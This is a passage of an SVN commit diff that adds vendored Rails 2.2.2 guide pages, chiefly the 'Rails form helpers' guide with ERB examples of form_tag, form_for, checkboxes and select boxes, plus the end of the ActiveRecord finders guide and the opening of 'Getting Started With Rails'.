+<pre><tt>Client<span style="color: #990000">.</span>sum<span style="color: #990000">(</span><span style="color: #FF0000">"orders_count"</span><span style="color: #990000">)</span>
+</tt></pre></div></div>
+<div class="para"><p>For options, please see the parent section,  <a href="#_calculations">Calculations</a></p></div>
+</div>
+<h2 id="_credits">20. Credits</h2>
+<div class="sectionbody">
+<div class="para"><p>Thanks to Ryan Bates for his awesome screencast on named scope #108. The information within the named scope section is intentionally similar to it, and without the cast may have not been possible.</p></div>
+<div class="para"><p>Thanks to Mike Gunderloy for his tips on creating this guide.</p></div>
+</div>
+<h2 id="_changelog">21. Changelog</h2>
+<div class="sectionbody">
+<div class="para"><p><a href="http://rails.lighthouseapp.com/projects/16213-rails-guides/tickets/16">Lighthouse ticket</a></p></div>
+<div class="ilist"><ul>
+<li>
+<p>
+November 8, 2008: Editing pass by <a href="../authors.html#mgunderloy">Mike Gunderloy</a> . First release version.
+</p>
+</li>
+<li>
+<p>
+October 27, 2008: Added scoped section, added named params for conditions and added sub-section headers for conditions section by Ryan Bigg
+</p>
+</li>
+<li>
+<p>
+October 27, 2008: Fixed up all points specified in <a href="http://rails.lighthouseapp.com/projects/16213-rails-guides/tickets/16-activerecord-finders#ticket-16-6">this comment</a> with an exception of the final point by Ryan Bigg
+</p>
+</li>
+<li>
+<p>
+October 26, 2008: Editing pass by <a href="../authors.html#mgunderloy">Mike Gunderloy</a> . First release version.
+</p>
+</li>
+<li>
+<p>
+October 22, 2008: Calculations complete, first complete draft by Ryan Bigg
+</p>
+</li>
+<li>
+<p>
+October 21, 2008: Extended named scope section by Ryan Bigg
+</p>
+</li>
+<li>
+<p>
+October 9, 2008: Lock, count, cleanup by Ryan Bigg
+</p>
+</li>
+<li>
+<p>
+October 6, 2008: Eager loading by Ryan Bigg
+</p>
+</li>
+<li>
+<p>
+October 5, 2008: Covered conditions by Ryan Bigg
+</p>
+</li>
+<li>
+<p>
+October 1, 2008: Covered limit/offset, formatting changes by Ryan Bigg
+</p>
+</li>
+<li>
+<p>
+September 28, 2008: Covered first/last/all by Ryan Bigg
+</p>
+</li>
+</ul></div>
+</div>
+
+		</div>
+	</div>
+</body>
+</html>

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/doc/guides/html/form_helpers.html
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/doc/guides/html/form_helpers.html	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/doc/guides/html/form_helpers.html	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,638 @@
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
+<html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en">
+<head>
+	<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
+	<title>Rails form helpers</title>
+	<!--[if lt IE 8]>
+	<script src="http://ie7-js.googlecode.com/svn/version/2.0(beta3)/IE8.js" type="text/javascript"></script>
+	<![endif]-->
+	<link href="stylesheets/base.css" media="screen" rel="Stylesheet" type="text/css" />
+	<link href="stylesheets/forms.css" media="screen" rel="Stylesheet" type="text/css" />
+	<link href="stylesheets/more.css" media="screen" rel="Stylesheet" type="text/css" />
+	<style type="text/css">
+		div#container {
+	max-width: 900px;
+	padding-bottom: 3em;
+}
+
+div#content {
+	margin-left: 200px;
+}
+
+div#container.notoc {
+	max-width: 600px;
+}
+
+.notoc div#content {
+	margin-left: 0;
+}
+
+pre {
+	line-height: 1.4em;
+}
+
+#content p tt {
+	background: #eeeeee;
+	border: solid 1px #cccccc;
+	padding: 3px;
+}
+
+dt {
+	font-weight: bold;
+}
+
+#content dt tt {
+	font-size: 10pt;
+}
+
+dd {
+	margin-left: 3em;
+}
+
+#content dt tt, #content pre tt {
+	background: none;
+	padding: 0;
+	border: 0;
+}
+
+#content .olist ol {
+	margin-left: 2em;
+}
+
+#header {
+	position: relative;
+	max-width: 840px;
+	margin-left: auto;
+	margin-right: auto;
+}
+
+#header.notoc {
+	max-width: 580px;
+}
+
+#logo {
+	position: absolute;
+	left: 10px;
+	top: 10px;
+	width: 110px;
+	height: 140px;
+}
+
+div#header h1#site_title {
+	background: url('images/ruby_on_rails_by_mike_rundle2.gif') top left no-repeat;
+	position: absolute;
+	width: 392px;
+	height: 55px;
+	left: 145px;
+	top: 20px;
+	margin: 0;
+	padding: 0;
+}
+
+#site_title span {
+	display: none;
+}
+
+#site_title_tagline {
+	display: none;
+}
+
+ul#navMain {
+	position: absolute;
+	margin: 0;
+	padding: 0;
+	top: 97px;
+	left: 145px;
+}
+
+.left-floaty, .right-floaty {
+	padding: 15px;
+}
+
+.admonitionblock,
+.tableblock {
+	margin-left: 1em;
+	margin-right: 1em;
+	margin-top: 0.25em;
+	margin-bottom: 1em;
+}
+
+.admonitionblock .icon {
+	padding-right: 8px;
+}
+
+.admonitionblock .content {
+	border: solid 1px #ffda78;
+	background: #fffebd;
+	padding: 10px;
+	padding-top: 8px;
+	padding-bottom: 8px;
+}
+
+.admonitionblock .title {
+	font-size: 140%;
+	margin-bottom: 0.5em;
+}
+
+.tableblock table {
+	border: solid 1px #aaaaff;
+	background: #f0f0ff;
+}
+
+.tableblock th {
+	background: #e0e0e0;
+}
+
+.tableblock th,
+.tableblock td {
+	padding: 3px;
+	padding-left: 5px;
+	padding-right: 5px;
+}
+
+.sidebarblock {
+	margin-top: 0.25em;
+	margin: 1em;
+	border: solid 1px #ccccbb;
+	padding: 8px;
+	background: #ffffe0;
+}
+
+.sidebarblock .sidebar-title {
+	font-size: 140%;
+	font-weight: 600;
+	margin-bottom: 0.3em;
+}
+
+.sidebarblock .sidebar-content > .para:last-child > p {
+	margin-bottom: 0;
+}
+
+.sidebarblock .sidebar-title a {
+	text-decoration: none;
+}
+
+.sidebarblock .sidebar-title a:hover {
+	text-decoration: underline;
+}
+
+	</style>
+</head>
+<body>
+	<div id="header" >
+		<div id="logo">
+			<a href="index.html" title="Ruby on Rails"><img src="images/rails_logo_remix.gif" alt="Rails" height="140" width="110" /></a>
+		</div>
+		
+		<h1 id="site_title"><span>Ruby on Rails</span></h1>
+		<h2 id="site_title_tagline">Sustainable productivity for web-application development</h2>
+
+		<ul id="navMain">
+			<li class="first-child"><a href="http://www.rubyonrails.org/" title="Ruby on Rails" class="ruby_on_rails">Ruby on Rails</a></li>
+			<li><a class="manuals" href="index.html" title="Manuals Index">Guides Index</a></li>
+		</ul>
+	</div>
+
+	<div id="container">
+		
+		<div id="sidebar">
+			<h2>Chapters</h2>
+			<ol>
+					<li>
+					<a href="#_basic_forms">Basic forms</a>
+						<ul>
+						
+							<li><a href="#_generic_search_form">Generic search form</a></li>
+						
+							<li><a href="#_multiple_hashes_in_form_helper_attributes">Multiple hashes in form helper attributes</a></li>
+						
+							<li><a href="#_checkboxes_radio_buttons_and_other_controls">Checkboxes, radio buttons and other controls</a></li>
+						
+							<li><a href="#_how_do_forms_with_put_or_delete_methods_work">How do forms with PUT or DELETE methods work?</a></li>
+						
+						</ul>
+					</li>
+					<li>
+					<a href="#_forms_that_deal_with_model_attributes">Forms that deal with model attributes</a>
+						<ul>
+						
+							<li><a href="#_relying_on_record_identification">Relying on record identification</a></li>
+						
+						</ul>
+					</li>
+					<li>
+					<a href="#_making_select_boxes_with_ease">Making select boxes with ease</a>
+						<ul>
+						
+							<li><a href="#_the_select_tag_and_options">The select tag and options</a></li>
+						
+							<li><a href="#_select_boxes_for_dealing_with_models">Select boxes for dealing with models</a></li>
+						
+						</ul>
+					</li>
+			</ol>
+		</div>
+		
+		<div id="content">
+				<h1>Rails form helpers</h1>
+			<div id="preamble">
+<div class="sectionbody">
+<div class="para"><p>Forms in web applications are an essential interface for user input. However, form markup can quickly become tedious to write and maintain because of form control naming and their numerous attributes. Rails deals away with these complexities by providing view helpers for generating form markup. However, since they have different use-cases, developers are required to know all the differences between similar helper methods before putting them to use.</p></div>
+<div class="para"><p>In this guide we will:</p></div>
+<div class="ilist"><ul>
+<li>
+<p>
+Create search forms and similar kind of generic forms not representing any specific model in your application;
+</p>
+</li>
+<li>
+<p>
+Make model-centric forms for creation and editing of specific database records;
+</p>
+</li>
+<li>
+<p>
+Generate select boxes from multiple types of data;
+</p>
+</li>
+<li>
+<p>
+Learn what makes a file upload form different;
+</p>
+</li>
+<li>
+<p>
+Build complex, multi-model forms.
+</p>
+</li>
+</ul></div>
+<div class="admonitionblock">
+<table><tr>
+<td class="icon">
+<img src="./images/icons/note.png" alt="Note" />
+</td>
+<td class="content">This guide is not intended to be a complete documentation of available form helpers and their arguments. Please visit <a href="http://api.rubyonrails.org/">the Rails API documentation</a> for a complete reference.</td>
+</tr></table>
+</div>
+</div>
+</div>
+<h2 id="_basic_forms">1. Basic forms</h2>
+<div class="sectionbody">
+<div class="para"><p>The most basic form helper is <tt>form_tag</tt>.</p></div>
+<div class="listingblock">
+<div class="content">
+<pre><tt>&lt;% form_tag do %&gt;
+  Form contents
+&lt;% end %&gt;</tt></pre>
+</div></div>
+<div class="para"><p>When called without arguments like this, it creates a form element that has the current page for action attribute and "POST" as method (some line breaks added for readability):</p></div>
+<div class="listingblock">
+<div class="title">Example: Sample rendering of <tt>form_tag</tt></div>
+<div class="content">
+<pre><tt>&lt;form action="/home/index" method="post"&gt;
+  &lt;div style="margin:0;padding:0"&gt;
+    &lt;input name="authenticity_token" type="hidden" value="f755bb0ed134b76c432144748a6d4b7a7ddf2b71" /&gt;
+  &lt;/div&gt;
+  Form contents
+&lt;/form&gt;</tt></pre>
+</div></div>
+<div class="para"><p>If you carefully observe this output, you can see that the helper generated something we didn't specify: a <tt>div</tt> element with a hidden input inside. This is a security feature of Rails called <strong>cross-site request forgery protection</strong> and form helpers generate it for every form which action isn't "GET" (provided that this security feature is enabled).</p></div>
+<div class="admonitionblock">
+<table><tr>
+<td class="icon">
+<img src="./images/icons/note.png" alt="Note" />
+</td>
+<td class="content">Throughout this guide, this <tt>div</tt> with the hidden input will be stripped away to have clearer code samples.</td>
+</tr></table>
+</div>
+<h3 id="_generic_search_form">1.1. Generic search form</h3>
+<div class="para"><p>Probably the most minimal form often seen on the web is a search form with a single text input for search terms. This form consists of:</p></div>
+<div class="olist"><ol>
+<li>
+<p>
+a form element with "GET" method,
+</p>
+</li>
+<li>
+<p>
+a label for the input,
+</p>
+</li>
+<li>
+<p>
+a text input element, and
+</p>
+</li>
+<li>
+<p>
+a submit element.
+</p>
+</li>
+</ol></div>
+<div class="admonitionblock">
+<table><tr>
+<td class="icon">
+<img src="./images/icons/important.png" alt="Important" />
+</td>
+<td class="content">Always use "GET" as the method for search forms. Benefits are many: users are able to bookmark a specific search and get back to it; browsers cache results of "GET" requests, but not "POST"; and other.</td>
+</tr></table>
+</div>
+<div class="para"><p>To create that, we will use <tt>form_tag</tt>, <tt>label_tag</tt>, <tt>text_field_tag</tt> and <tt>submit_tag</tt>, respectively.</p></div>
+<div class="listingblock">
+<div class="title">Example: A basic search form</div>
+<div class="content">
+<pre><tt>&lt;% form_tag(search_path, :method =&gt; "get") do %&gt;
+  &lt;%= label_tag(:q, "Search for:") %&gt;
+  &lt;%= text_field_tag(:q) %&gt;
+  &lt;%= submit_tag("Search") %&gt;
+&lt;% end %&gt;</tt></pre>
+</div></div>
+<div class="admonitionblock">
+<table><tr>
+<td class="icon">
+<img src="./images/icons/tip.png" alt="Tip" />
+</td>
+<td class="content">
+<div class="para"><p><tt>search_path</tt> can be a named route specified in "routes.rb":</p></div>
+<div class="listingblock">
+<div class="content">
+<pre><tt>map.search "search", :controller =&gt; "search"</tt></pre>
+</div></div>
+</td>
+</tr></table>
+</div>
+<div class="para"><p>The above view code will result in the following markup:</p></div>
+<div class="listingblock">
+<div class="title">Example: Search form HTML</div>
+<div class="content">
+<pre><tt>&lt;form action="/search" method="get"&gt;
+  &lt;label for="q"&gt;Search for:&lt;/label&gt;
+  &lt;input id="q" name="q" type="text" /&gt;
+  &lt;input name="commit" type="submit" value="Search" /&gt;
+&lt;/form&gt;</tt></pre>
+</div></div>
+<div class="para"><p>Besides <tt>text_field_tag</tt> and <tt>submit_tag</tt>, there is a similar helper for <em>every</em> form control in HTML.</p></div>
+<div class="admonitionblock">
+<table><tr>
+<td class="icon">
+<img src="./images/icons/tip.png" alt="Tip" />
+</td>
+<td class="content">For every form input, an ID attribute is generated from its name ("q" in our example). These IDs can be very useful for CSS styling or manipulation of form controls with JavaScript.</td>
+</tr></table>
+</div>
+<h3 id="_multiple_hashes_in_form_helper_attributes">1.2. Multiple hashes in form helper attributes</h3>
+<div class="para"><p>By now we've seen that the <tt>form_tag</tt> helper accepts 2 arguments: the path for the action attribute and an options hash for parameters (like <tt>:method</tt>).</p></div>
+<div class="para"><p>Identical to the <tt>link_to</tt> helper, the path argument doesn't have to be given as string or a named route. It can be a hash of URL parameters that Rails' routing mechanism will turn into a valid URL. Still, we cannot simply write this:</p></div>
+<div class="listingblock">
+<div class="title">Example: A bad way to pass multiple hashes as method arguments</div>
+<div class="content">
+<pre><tt>form_tag(:controller =&gt; "people", :action =&gt; "search", :method =&gt; "get")
+# =&gt; &lt;form action="/people/search?method=get" method="post"&gt;</tt></pre>
+</div></div>
+<div class="para"><p>Here we wanted to pass two hashes, but the Ruby interpreter sees only one hash, so Rails will construct a URL that we didn't want. The solution is to delimit the first hash (or both hashes) with curly brackets:</p></div>
+<div class="listingblock">
+<div class="title">Example: The correct way of passing multiple hashes as arguments</div>
+<div class="content">
+<pre><tt>form_tag({:controller =&gt; "people", :action =&gt; "search"}, :method =&gt; "get")
+# =&gt; &lt;form action="/people/search" method="get"&gt;</tt></pre>
+</div></div>
+<div class="para"><p>This is a common pitfall when using form helpers, since many of them accept multiple hashes. So in future, if a helper produces unexpected output, make sure that you have delimited the hash parameters properly.</p></div>
+<div class="admonitionblock">
+<table><tr>
+<td class="icon">
+<img src="./images/icons/warning.png" alt="Warning" />
+</td>
+<td class="content">Do not delimit the second hash without doing so with the first hash, otherwise your method invocation will result in an <tt>expecting tASSOC</tt> syntax error.</td>
+</tr></table>
+</div>
+<h3 id="_checkboxes_radio_buttons_and_other_controls">1.3. Checkboxes, radio buttons and other controls</h3>
+<div class="para"><p>Checkboxes are form controls that give the user a set of options they can enable or disable:</p></div>
+<div class="listingblock">
+<div class="content">
+<pre><tt>&lt;%= check_box_tag(:pet_dog) %&gt;
+  &lt;%= label_tag(:pet_dog, "I own a dog") %&gt;
+&lt;%= check_box_tag(:pet_cat) %&gt;
+  &lt;%= label_tag(:pet_cat, "I own a cat") %&gt;
+
+output:
+
+&lt;input id="pet_dog" name="pet_dog" type="checkbox" value="1" /&gt;
+  &lt;label for="pet_dog"&gt;I own a dog&lt;/label&gt;
+&lt;input id="pet_cat" name="pet_cat" type="checkbox" value="1" /&gt;
+  &lt;label for="pet_cat"&gt;I own a cat&lt;/label&gt;</tt></pre>
+</div></div>
+<div class="para"><p>Radio buttons, while similar to checkboxes, are controls that specify a set of options in which they are mutually exclusive (user can only pick one):</p></div>
+<div class="listingblock">
+<div class="content">
+<pre><tt>&lt;%= radio_button_tag(:age, "child") %&gt;
+  &lt;%= label_tag(:age_child, "I am younger than 21") %&gt;
+&lt;%= radio_button_tag(:age, "adult") %&gt;
+  &lt;%= label_tag(:age_adult, "I'm over 21") %&gt;
+
+output:
+
+&lt;input id="age_child" name="age" type="radio" value="child" /&gt;
+  &lt;label for="age_child"&gt;I am younger than 21&lt;/label&gt;
+&lt;input id="age_adult" name="age" type="radio" value="adult" /&gt;
+  &lt;label for="age_adult"&gt;I'm over 21&lt;/label&gt;</tt></pre>
+</div></div>
+<div class="admonitionblock">
+<table><tr>
+<td class="icon">
+<img src="./images/icons/important.png" alt="Important" />
+</td>
+<td class="content">Always use labels for each checkbox and radio button. They associate text with a specific option and provide a larger clickable region.</td>
+</tr></table>
+</div>
+<div class="para"><p>Other form controls we might mention are the text area, password input and hidden input:</p></div>
+<div class="listingblock">
+<div class="content">
+<pre><tt>&lt;%= text_area_tag(:message, "Hi, nice site", :size =&gt; "24x6") %&gt;
+&lt;%= password_field_tag(:password) %&gt;
+&lt;%= hidden_field_tag(:parent_id, "5") %&gt;
+
+output:
+
+&lt;textarea id="message" name="message" cols="24" rows="6"&gt;Hi, nice site&lt;/textarea&gt;
+&lt;input id="password" name="password" type="password" /&gt;
+&lt;input id="parent_id" name="parent_id" type="hidden" value="5" /&gt;</tt></pre>
+</div></div>
+<div class="para"><p>Hidden inputs are not shown to the user, but they hold data same as any textual input. Values inside them can be changed with JavaScript.</p></div>
+<div class="admonitionblock">
+<table><tr>
+<td class="icon">
+<img src="./images/icons/tip.png" alt="Tip" />
+</td>
+<td class="content">If you're using password input fields (for any purpose), you might want to prevent their values showing up in application logs by activating <tt>filter_parameter_logging(:password)</tt> in your ApplicationController.</td>
+</tr></table>
+</div>
+<h3 id="_how_do_forms_with_put_or_delete_methods_work">1.4. How do forms with PUT or DELETE methods work?</h3>
+<div class="para"><p>Rails framework encourages RESTful design of your applications, which means you'll be making a lot of "PUT" and "DELETE" requests (besides "GET" and "POST"). Still, most browsers <em>don't support</em> methods other than "GET" and "POST" when it comes to submitting forms. How does this work, then?</p></div>
+<div class="para"><p>Rails works around this issue by emulating other methods over POST with a hidden input named <tt>"_method"</tt> that is set to reflect the wanted method:</p></div>
+<div class="listingblock">
+<div class="content">
+<pre><tt>form_tag(search_path, :method =&gt; "put")
+
+output:
+
+&lt;form action="/search" method="post"&gt;
+  &lt;div style="margin:0;padding:0"&gt;
+    &lt;input name="_method" type="hidden" value="put" /&gt;
+    &lt;input name="authenticity_token" type="hidden" value="f755bb0ed134b76c432144748a6d4b7a7ddf2b71" /&gt;
+  &lt;/div&gt;
+  ...</tt></pre>
+</div></div>
+<div class="para"><p>When parsing POSTed data, Rails will take into account the special <tt>"_method"</tt> parameter and act as if the HTTP method was the one specified inside it ("PUT" in this example).</p></div>
+</div>
+<h2 id="_forms_that_deal_with_model_attributes">2. Forms that deal with model attributes</h2>
+<div class="sectionbody">
+<div class="para"><p>When we're dealing with an actual model, we will use a different set of form helpers and have Rails take care of some details in the background. In the following examples we will handle an Article model. First, let us have the controller create one:</p></div>
+<div class="listingblock">
+<div class="title">Example: articles_controller.rb</div>
+<div class="content">
+<pre><tt>def new
+  @article = Article.new
+end</tt></pre>
+</div></div>
+<div class="para"><p>Now we switch to the view. The first thing to remember is that we should use <tt>form_for</tt> helper instead of <tt>form_tag</tt>, and that we should pass the model name and object as arguments:</p></div>
+<div class="listingblock">
+<div class="title">Example: articles/new.html.erb</div>
+<div class="content">
+<pre><tt>&lt;% form_for :article, @article, :url =&gt; { :action =&gt; "create" } do |f| %&gt;
+  &lt;%= f.text_field :title %&gt;
+  &lt;%= f.text_area :body, :size =&gt; "60x12" %&gt;
+  &lt;%= submit_tag "Create" %&gt;
+&lt;% end %&gt;</tt></pre>
+</div></div>
+<div class="para"><p>There are a few things to note here:</p></div>
+<div class="olist"><ol>
+<li>
+<p>
+<tt>:article</tt> is the name of the model and <tt>@article</tt> is our record.
+</p>
+</li>
+<li>
+<p>
+The URL for the action attribute is passed as a parameter named <tt>:url</tt>.
+</p>
+</li>
+<li>
+<p>
+The <tt>form_for</tt> method yields <strong>a form builder</strong> object (the <tt>f</tt> variable).
+</p>
+</li>
+<li>
+<p>
+Methods to create form controls are called <strong>on</strong> the form builder object <tt>f</tt> and <strong>without</strong> the <tt>"_tag"</tt> suffix (so <tt>text_field_tag</tt> becomes <tt>f.text_field</tt>).
+</p>
+</li>
+</ol></div>
+<div class="para"><p>The resulting HTML is:</p></div>
+<div class="listingblock">
+<div class="content">
+<pre><tt>&lt;form action="/articles/create" method="post"&gt;
+  &lt;input id="article_title" name="article[title]" size="30" type="text" /&gt;
+  &lt;textarea id="article_body" name="article[body]" cols="60" rows="12"&gt;&lt;/textarea&gt;
+  &lt;input name="commit" type="submit" value="Create" /&gt;
+&lt;/form&gt;</tt></pre>
+</div></div>
+<div class="para"><p>A nice thing about <tt>f.text_field</tt> and other helper methods is that they will pre-fill the form control with the value read from the corresponding attribute in the model. For example, if we created the article instance by supplying an initial value for the title in the controller:</p></div>
+<div class="listingblock">
+<div class="content">
+<pre><tt>@article = Article.new(:title =&gt; "Rails makes forms easy")</tt></pre>
+</div></div>
+<div class="para"><p>&#8230; the corresponding input will be rendered with a value:</p></div>
+<div class="listingblock">
+<div class="content">
+<pre><tt>&lt;input id="post_title" name="post[title]" size="30" type="text" value="Rails makes forms easy" /&gt;</tt></pre>
+</div></div>
+<h3 id="_relying_on_record_identification">2.1. Relying on record identification</h3>
+<div class="para"><p>In the previous chapter we handled the Article model. This model is directly available to users of our application and, following the best practices for developing with Rails, we should declare it <strong>a resource</strong>.</p></div>
+<div class="para"><p>When dealing with RESTful resources, our calls to <tt>form_for</tt> can get significantly easier if we rely on <strong>record identification</strong>. In short, we can just pass the model instance and have Rails figure out model name and the rest:</p></div>
+<div class="listingblock">
+<div class="content">
+<pre><tt>## Creating a new article
+# long-style:
+form_for(:article, @article, :url =&gt; articles_path)
+# same thing, short-style (record identification gets used):
+form_for(@article)
+
+## Editing an existing article
+# long-style:
+form_for(:article, @article, :url =&gt; article_path(@article), :method =&gt; "put")
+# short-style:
+form_for(@article)</tt></pre>
+</div></div>
+<div class="para"><p>Notice how the short-style <tt>form_for</tt> invocation is conveniently the same, regardless of the record being new or existing. Record identification is smart enough to figure out if the record is new by asking <tt>record.new_record?</tt>.</p></div>
+<div class="admonitionblock">
+<table><tr>
+<td class="icon">
+<img src="./images/icons/warning.png" alt="Warning" />
+</td>
+<td class="content">When you're using STI (single-table inheritance) with your models, you can't rely on record identification on a subclass if only their parent class is declared a resource. You will have to specify the model name, <tt>:url</tt> and <tt>:method</tt> explicitly.</td>
+</tr></table>
+</div>
+</div>
+<h2 id="_making_select_boxes_with_ease">3. Making select boxes with ease</h2>
+<div class="sectionbody">
+<div class="para"><p>Select boxes in HTML require a significant amount of markup (one <tt>OPTION</tt> element for each option to choose from), therefore it makes the most sense for them to be dynamically generated from data stored in arrays or hashes.</p></div>
+<div class="para"><p>Here is what our wanted markup might look like:</p></div>
+<div class="listingblock">
+<div class="content">
+<pre><tt>&lt;select name="city_id" id="city_id"&gt;
+  &lt;option value="1"&gt;Lisabon&lt;/option&gt;
+  &lt;option value="2"&gt;Madrid&lt;/option&gt;
+  ...
+  &lt;option value="12"&gt;Berlin&lt;/option&gt;
+&lt;/select&gt;</tt></pre>
+</div></div>
+<div class="para"><p>Here we have a list of cities where their names are presented to the user, but internally we want to handle just their IDs so we keep them in value attributes. Let's see how Rails can help out here.</p></div>
+<h3 id="_the_select_tag_and_options">3.1. The select tag and options</h3>
+<div class="para"><p>The most generic helper is <tt>select_tag</tt>, which &#8212; as the name implies &#8212; simply generates the <tt>SELECT</tt> tag that encapsulates the options:</p></div>
+<div class="listingblock">
+<div class="content">
+<pre><tt>&lt;%= select_tag(:city_id, '&lt;option value="1"&gt;Lisabon&lt;/option&gt;...') %&gt;</tt></pre>
+</div></div>
+<div class="para"><p>This is a start, but it doesn't dynamically create our option tags. We had to pass them in as a string.</p></div>
+<div class="para"><p>We can generate option tags with the <tt>options_for_select</tt> helper:</p></div>
+<div class="listingblock">
+<div class="content">
+<pre><tt>&lt;%= options_for_select([['Lisabon', 1], ['Madrid', 2], ...]) %&gt;
+
+output:
+
+&lt;option value="1"&gt;Lisabon&lt;/option&gt;
+&lt;option value="2"&gt;Madrid&lt;/option&gt;
+...</tt></pre>
+</div></div>
+<div class="para"><p>For input data we used a nested array where each element has two elements: visible value (name) and internal value (ID).</p></div>
+<div class="para"><p>Now you can combine <tt>select_tag</tt> and <tt>options_for_select</tt> to achieve the desired, complete markup:</p></div>
+<div class="listingblock">
+<div class="content">
+<pre><tt>&lt;%= select_tag(:city_id, options_for_select(...)) %&gt;</tt></pre>
+</div></div>
+<div class="para"><p>Sometimes, depending on our application's needs, we also wish a specific option to be pre-selected. The <tt>options_for_select</tt> helper supports this with an optional second argument:</p></div>
+<div class="listingblock">
+<div class="content">
+<pre><tt>&lt;%= options_for_select(cities_array, 2) %&gt;
+
+output:
+
+&lt;option value="1"&gt;Lisabon&lt;/option&gt;
+&lt;option value="2" selected="selected"&gt;Madrid&lt;/option&gt;
+...</tt></pre>
+</div></div>
+<div class="para"><p>So whenever Rails sees that the internal value of an option being generated matches this value, it will add the <tt>selected</tt> attribute to that option.</p></div>
+<h3 id="_select_boxes_for_dealing_with_models">3.2. Select boxes for dealing with models</h3>
+<div class="para"><p>Until now we've covered how to make generic select boxes, but in most cases our form controls will be tied to a specific database model. So, to continue from our previous examples, let's assume that we have a "Person" model with a <tt>city_id</tt> attribute.</p></div>
+<div class="listingblock">
+<div class="content">
+<pre><tt>...</tt></pre>
+</div></div>
+<div class="para"><p>&#8230;</p></div>
+</div>
+
+		</div>
+	</div>
+</body>
+</html>

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/doc/guides/html/getting_started_with_rails.html
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/doc/guides/html/getting_started_with_rails.html	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/doc/guides/html/getting_started_with_rails.html	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,2066 @@
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
+<html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en">
+<head>
+	<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
+	<title>Getting Started With Rails</title>
+	<!--[if lt IE 8]>
+	<script src="http://ie7-js.googlecode.com/svn/version/2.0(beta3)/IE8.js" type="text/javascript"></script>
+	<![endif]-->
+	<link href="stylesheets/base.css" media="screen" rel="Stylesheet" type="text/css" />
+	<link href="stylesheets/forms.css" media="screen" rel="Stylesheet" type="text/css" />
+	<link href="stylesheets/more.css" media="screen" rel="Stylesheet" type="text/css" />
+	<style type="text/css">
+		div#container {
+	max-width: 900px;
+	padding-bottom: 3em;
+}
+
+div#content {
+	margin-left: 200px;
+}
+
+div#container.notoc {
+	max-width: 600px;
+}
+
+.notoc div#content {
+	margin-left: 0;
+}
+
+pre {
+	line-height: 1.4em;
+}
+
+#content p tt {
+	background: #eeeeee;
+	border: solid 1px #cccccc;
+	padding: 3px;
+}
+
+dt {
+	font-weight: bold;
+}
+
+#content dt tt {
+	font-size: 10pt;
+}
+
+dd {
+	margin-left: 3em;
+}
+
+#content dt tt, #content pre tt {
+	background: none;
+	padding: 0;
+	border: 0;
+}
+
+#content .olist ol {
+	margin-left: 2em;
+}
+
+#header {
+	position: relative;
+	max-width: 840px;
+	margin-left: auto;
+	margin-right: auto;
+}
+
+#header.notoc {
+	max-width: 580px;
+}
+
+#logo {
+	position: absolute;
+	left: 10px;
+	top: 10px;
+	width: 110px;
+	height: 140px;
+}
+
+div#header h1#site_title {
+	background: url('images/ruby_on_rails_by_mike_rundle2.gif') top left no-repeat;
+	position: absolute;
+	width: 392px;
+	height: 55px;
+	left: 145px;
+	top: 20px;
+	margin: 0;
+	padding: 0;
+}
+
+#site_title span {
+	display: none;
+}
+
+#site_title_tagline {
+	display: none;
+}
+
+ul#navMain {
+	position: absolute;
+	margin: 0;
+	padding: 0;
+	top: 97px;
+	left: 145px;
+}
+
+.left-floaty, .right-floaty {
+	padding: 15px;
+}
+
+.admonitionblock,
+.tableblock {
+	margin-left: 1em;
+	margin-right: 1em;
+	margin-top: 0.25em;
+	margin-bottom: 1em;
+}
+
+.admonitionblock .icon {
+	padding-right: 8px;
+}
+
+.admonitionblock .content {
+	border: solid 1px #ffda78;
+	background: #fffebd;
+	padding: 10px;
+	padding-top: 8px;
+	padding-bottom: 8px;
+}
+
+.admonitionblock .title {
+	font-size: 140%;
+	margin-bottom: 0.5em;
+}
+
+.tableblock table {
+	border: solid 1px #aaaaff;
+	background: #f0f0ff;
+}
+
+.tableblock th {
+	background: #e0e0e0;
+}
+
+.tableblock th,
+.tableblock td {
+	padding: 3px;
+	padding-left: 5px;
+	padding-right: 5px;
+}
+
+.sidebarblock {
+	margin-top: 0.25em;
+	margin: 1em;
+	border: solid 1px #ccccbb;
+	padding: 8px;
+	background: #ffffe0;
+}
+
+.sidebarblock .sidebar-title {
+	font-size: 140%;
+	font-weight: 600;
+	margin-bottom: 0.3em;
+}
+
+.sidebarblock .sidebar-content > .para:last-child > p {
+	margin-bottom: 0;
+}
+
+.sidebarblock .sidebar-title a {
+	text-decoration: none;
+}
+
+.sidebarblock .sidebar-title a:hover {
+	text-decoration: underline;
+}
+
+	</style>
+</head>
+<body>
+	<div id="header" >
+		<div id="logo">
+			<a href="index.html" title="Ruby on Rails"><img src="images/rails_logo_remix.gif" alt="Rails" height="140" width="110" /></a>
+		</div>
+		
+		<h1 id="site_title"><span>Ruby on Rails</span></h1>
+		<h2 id="site_title_tagline">Sustainable productivity for web-application development</h2>
+
+		<ul id="navMain">
+			<li class="first-child"><a href="http://www.rubyonrails.org/" title="Ruby on Rails" class="ruby_on_rails">Ruby on Rails</a></li>
+			<li><a class="manuals" href="index.html" title="Manuals Index">Guides Index</a></li>
+		</ul>
+	</div>
+
+	<div id="container">
+		
+		<div id="sidebar">
+			<h2>Chapters</h2>
+			<ol>
+					<li>
+					<a href="#_this_guide_assumes">This Guide Assumes</a>
+					</li>
+					<li>
+					<a href="#_what_is_rails">What is Rails?</a>
+						<ul>
+						
